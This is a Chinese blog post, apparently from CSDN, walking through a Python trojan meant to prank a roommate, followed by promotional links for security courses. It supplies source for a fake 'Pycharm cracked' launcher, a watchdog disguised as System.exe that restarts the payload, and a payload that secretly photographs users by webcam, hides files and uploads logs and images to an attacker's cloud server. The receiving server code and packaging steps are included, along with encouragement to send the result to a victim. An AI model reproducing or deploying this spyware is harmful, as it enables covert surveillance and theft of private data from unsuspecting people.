如何利用Python写一个病毒,去逗逗室友!毕竟他新买的电脑

文仅供学习和测试,请勿用于非法用途。

前言


花了挺长时间去开发的,中间有很多包是抄的,比如DDL注入、关于opencv等等,主要其实做了一些拼接、打包、部署。

写这篇博客并不真的想去写病毒攻击别人,而是想告诉大家简单的病毒的原理以及其实我们py学好了,也有能力做出来,并不算难。

写这个东西的人挺少的。那么,我们开始吧。注:本文源码并不会直接公布于博客,希望对其有兴趣的朋友点击蓝色字体:python免费学习资料以及群交流解答点击即可加入 获取,以防不法用途,我可不想吃国家饭(牢饭)。

病毒原理

三个.exe:Pycharm破解版.exe 、 WinCoreManagement.exe 、 System.exe

首先我们有个伪装的程序,比如相信有很多程序猿都去下载过 XXX软件破解版 ,我们这里以"Pycharm破解版"为例。

我们会给用户下载一个压缩包【Pycharm破解版】,里面一定会有很多奇奇怪怪的东西,然后我们把三个.exe也放在里面。

当用户打开 Pycharm.exe 时,会去调用 WinCoreManagement.exe 、 System.exe ,以及 正常的Pycharm程序 ,这样用户就难以发现。

其中调用的 WinCoreManagement.exe 就是我们核心的病毒程序了,我给它加了三个功能:不定时拍照、记录用户的输入、偶尔锁下用户键盘。

刚才还启用了一个 System.exe ,当用户发现了我们的主病毒程序,去任务管理器杀掉了主病毒进程,此时这个 System.exe 进程就会不断去重启病毒程序。

而且一般人其实是不敢去杀一个叫 System 的进程的,对吧。这样,就算是有点经验的程序员,也难不中招。

源码解析


frozen.py


用于处理多线程错乱的问题

Pycharm破解版.py


import os
import subprocess
import time
import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing

if __name__ == ‘__main__’:
multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案
os.chdir(r’.‘)
#subprocess.Popen(r’pycharm.exe’) # 真正的pychamr程序
subprocess.Popen(r’System.exe’) # System.exe负责无限重启病毒程序WinCoreManagerment.exe

time.sleep(20)

这一块儿主要是去调用一个 病毒程序 和进行对用户的 欺骗 程序,应该不难理解。

System.py


import frozen # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
import subprocess, time, sys, os
import win32con
import win32api

CMD = r"WinCoreManagement.exe" # 需要执行程序的绝对路径

def run(cmd):
# print(‘start OK!’)
os.chdir(os.path.dirname(os.path.abspath(__file__)))
p = subprocess.Popen(cmd, shell=False)
p.wait() # 类似于p.join()
try:
subprocess.call(‘start /b taskkill /F /IM %s’ % CMD) # 清理残余
except Exception as e:
# print(e)
pass

# print('子进程关闭,重启')  
run(cmd)  

if __name__ == ‘__main__’:
multiprocessing.freeze_support() # Pyinstaller多进程代码打包exe出现多个进程解决方案

run(CMD)

若用户杀掉病毒主程序,这个程序可以用来不断使病毒程序重启

WinCoreManagement.py


分为三块

多线程

from threading import Timer
from threading import Thread
from threading import Lock

# Lock() 线程锁,防止线程全部错乱
self.mutex_log = Lock() # 日志锁
self.mutex_photo = Lock() # 照片锁
self.mutex_sock = Lock() # 套接字上传锁

# .release() 释放锁
self.mutex_log.release()
self.mutex_photo.release()
self.mutex_sock.release()


日志文件的读写

# 用户家目录,替换用户
# 记住这个 self.base_dir :路径
# Expand the user’s home directory,比如我的电脑就是 C:\\Users\\Daniel
self.base_dir = os.path.expanduser(‘~’) # 权限问题

# 初始化生成日志文件  
self.log\_path = r'%s/adhsvc.dll.system32' % self.base\_dir  
open(self.log\_path, 'a', encoding='utf-8').close()  
win32api.SetFileAttributes(self.log\_path, win32con.FILE\_ATTRIBUTE\_HIDDEN)  
          
def log\_debug(self, res):  
    if not self.debug: return  
    self.mutex\_debug.acquire()  
    with open(self.debug\_log\_path, mode='a', encoding='utf-8') as f:  
        # 写进去  
        f.write('\\n%s\\n' % res)  
        # 刷新缓冲区  
        f.flush()  
    # 释放掉  
    self.mutex\_debug.release()  
# 和上面那个同理  
def log(self, res):  
    self.mutex\_log.acquire()  
    with open(self.log\_path, mode='a', encoding='utf-8') as f:  
        f.write(res)  
        f.flush()  
    self.mutex\_log.release()

照相功能,opencv会用就行

def take_photoes(self):
while True:
time.sleep(10)
# 图片路径,同时带上路径+时间
photo_path = r’%s/%s.jpeg’ % (self.base_dir, time.strftime(‘%Y-%m-%d_%H_%M_%S’))
cap = None

        try:  
            # VideoCapture()中第一个参数是摄像头标号,默认情况电脑自带摄像头索引为0,外置为1.2.3…,  
            # 参数是视频文件路径则打开视频,如cap = cv2.VideoCapture(“../test.avi”)  
            # CAP\_DSHOW是微软特有的,cv2.release()之后摄像头依然开启,需要指定该参数  
            cap = cv2.VideoCapture(0, cv2.CAP\_DSHOW)  
            ret, frame = cap.read()  
            self.mutex\_photo.acquire()  
            cv2.imwrite(photo\_path, frame)  
        except Exception as e:  
            self.log\_debug('照相异常:%s' % e)  
        finally:  
            # 无论如何都要释放锁,关闭相机  
            self.mutex\_photo.release()  
            if cap is not None: cap.release() #None.release()  
            cv2.destroyAllWindows()  
  
        if os.path.exists(photo\_path):  
            win32api.SetFileAttributes(photo\_path, win32con.FILE\_ATTRIBUTE\_HIDDEN)

上传功能

原理:
套接字:
Socket = (IP地址:端口号)
服务端监听:
服务器端套接字并不定位具体的客户端套接字,而是等待连接。即打开所有端口
客户端请求:
客户端的套接字提出连接请求,要连接的是服务端的套接字。因此要指定服务器的套接字,指出其地址+端口号,然后向服务端提出连接请求
连接确认:
服务端接受到了客户端的套接字的连接请求,响应,然后建立一个新的线程,并把服务器套接字的描述发给客户端
一旦客户端确认了此描述,连接就好了。然后服务器套接字继续处于监听,接收其他客户端套接字的连接请求


配置

def send_data(self, headers, data):
try:
self.mutex_sock.acquire() # 上传数据的过程中不要做其他事情
# 配置问题,ipv4+网络流传输,不用管
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#套接字:ip+端口
client.connect((self.server_ip, self.server_port))

        # dumps 编码,将一个python数据结构转为Json编码的字符串  
        head\_json = json.dumps(headers)  
        # 换格式  
        head\_json\_bytes = bytes(head\_json, encoding='utf-8')  
        # 发送Json包,到时候解码  
        client.send(struct.pack('i', len(head\_json\_bytes)))  
        client.send(head\_json\_bytes)  
        client.sendall(data)  
        #关闭套接字  
        client.close()  
        # 成功传输发回命令  
        res = (True, 'ok')  
  
    except ConnectionRefusedError as e:  
        msg = '套接字服务端未启动: %s' % e  
        res = (False, msg)  
    except Exception as e:  
        msg = '套接字其他错误:%s' % e  
        res = (False, msg)  
    finally:  
        self.mutex\_sock.release()  
    return res

发送日志信息

# 发送日志信息
def upload_log(self):
while True:
time.sleep(1)
# 没东西就直接跳掉
if not os.path.getsize(self.log_path): continue

        # 开锁  
        self.mutex\_log.acquire()      
        # 打开文件,二进制读写手法  
        with open(self.log\_path, mode='rb+') as f:  
            data = f.read()  
            self.mutex\_log.release()  
              
            # 文件大小+文件名字,以路径啥的命名  
            headers = {  
                'data\_size': len(data),  
                'filename': os.path.basename(self.log\_path)  
            }  
  
            self.log\_debug('正在往服务端发送日志......\[%s\]' % data)  
  
            is\_ok, msg = self.send\_data(headers, data)  
            if is\_ok:  
                self.log\_debug('日志\[%s\]发送成功。。。' % data)  
            else:  
                self.log\_debug('日志\[%s\]发送失败:%s' % (data, msg))  
                continue  
              
            # 指针的位置重新定回0,好习惯  
            f.truncate(0)

发送图片

def upload_photoes(self):
while True:
time.sleep(3)

        # 包含文件的列表取出来  
        files = os.listdir(self.base\_dir)  
        # jpeg结尾的文件全给我导出来  
        files\_jpeg = \[file\_name for file\_name in files if file\_name.endswith('jpeg')\]  
        for file\_name in files\_jpeg:  
            file\_path = r'%s/%s' % (self.base\_dir, file\_name)  
            # 没文件跳出去  
            if not os.path.exists(file\_path): continue  
  
            # 日志写进去  
            self.log\_debug('开始上传图片: %s' % file\_name)  
            # 文件大小+文件名字  
            headers = {  
                'data\_size': os.path.getsize(file\_path),  
                'filename': file\_name  
            }  
  
            # 开锁  
            self.mutex\_photo.acquire()  
            # 二进制读写数据及上传  
            with open(file\_path, mode='rb+') as f:  
                data = f.read()  
            self.mutex\_photo.release()  
  
            is\_ok, msg = self.send\_data(headers, data)  
            if is\_ok:  
                self.log\_debug('图片%s发送完毕......' % file\_name)  
            else:  
                self.log\_debug('图片%s发送失败:%s' % (file\_name, msg))  
                continue  
              
            # 移除文件跑路,自己测试的时候可以注释掉  
            #os.remove(file\_path)

DLL注入

这块儿,我们正经pythoner就先不要了解了

准备工作


1、最新anocoda3.7https://www.anaconda.com/distribution/#download-section

2、提速下载可以改变源

pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple

3、安装pywin32,安装时指定安装目录,默认为C:\Python37\Lib\site-packageshttps://github.com/mhammond/pywin32/releases

4、安装opencv-python

pip install opencv-python

5、安装pyinstaller,依赖pyin32

pip install pyinstaller

6、ico文件准备好 在线制作 orhttps://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html

=到这里,我们病毒程序就写好了=

服务端原理


源码 Toad_server.py 解析


import socketserver
import struct
import json
import os
import time

class ToadServer(socketserver.BaseRequestHandler):
coding=‘utf-8’
max_packet_size=1024

def handle(self):  
    ip,port=self.client\_address  
    with open(r'access.log',mode='a',encoding='utf-8') as f:  
        f.write('\[%s\] X用户-> %s:%s 正在上传数据\\n' %(time.strftime('%Y-%m-%d-%H:%M:%S'),ip, port))  
  
    try:  
        head = self.request.recv(4)  
        head\_json\_len = struct.unpack('i', head)\[0\]  
        head\_json = json.loads(self.request.recv(head\_json\_len).decode('utf-8'))  
        data\_len = head\_json\['data\_size'\]  
        filename = head\_json\['filename'\]  
  
        recv\_size = 0  
        recv\_data = b''  
        with open(r'client\_msg/client\_%s\_%s' %(ip,filename), 'ab') as f:  
            while recv\_size < data\_len:  
                recv\_data = self.request.recv(1024)  
                f.write(recv\_data)  
                recv\_size += len(recv\_data)  
  
    except Exception as e:  
        # 客户端断开  
        self.request.close()  

myserver=socketserver.ThreadingTCPServer((‘0.0.0.0’, 9999),ToadServer)
myserver.serve_forever()


所有端口都开启监听,同时在写病毒程序时候,记得放行9999安全组。

服务端可以直接部署到阿里云等服务器上,然后安装上 Python 3.7 左右版本,

之后用 XFTP 上传 Toad_server.py

用 python3 Toad_server.py 命令使其运行

打包病毒.exe


和在云服务器上部署web项目一样,总不能让所有用户装上和我们一样的环境吧。

这样,我们用 pyinstaller 来打包,安装在上文,同时可以给软件换个更"专业"的图标,就能确保用户在自己的机子上也能运行了。

命令:pyinstaller -i pycharm.ico -Fw Pycharm.py

生成的.exe会在dist文件夹中。

实践出真知


三个exe文件打包出来,发给某个倒霉蛋,做点伪装…

自己阿里云上的服务端打开放那跑

日志文件是 access.log ,记录用户键盘输入是 make.log ,生成的图片在 client_msg 文件夹中。

那么我们现在就去找个可爱的室友测试一下吧~

打下码哈哈哈哈哈哈哈哈哈哈哈

不过一开始被360阻止了摄像头权限,真是流氓软件之首啧啧啧

结尾


那么今天这个有趣的项目就到这了,源码这里不方便公布。

网络安全学习资源分享:

最后给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套200G学习资源包免费分享!

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值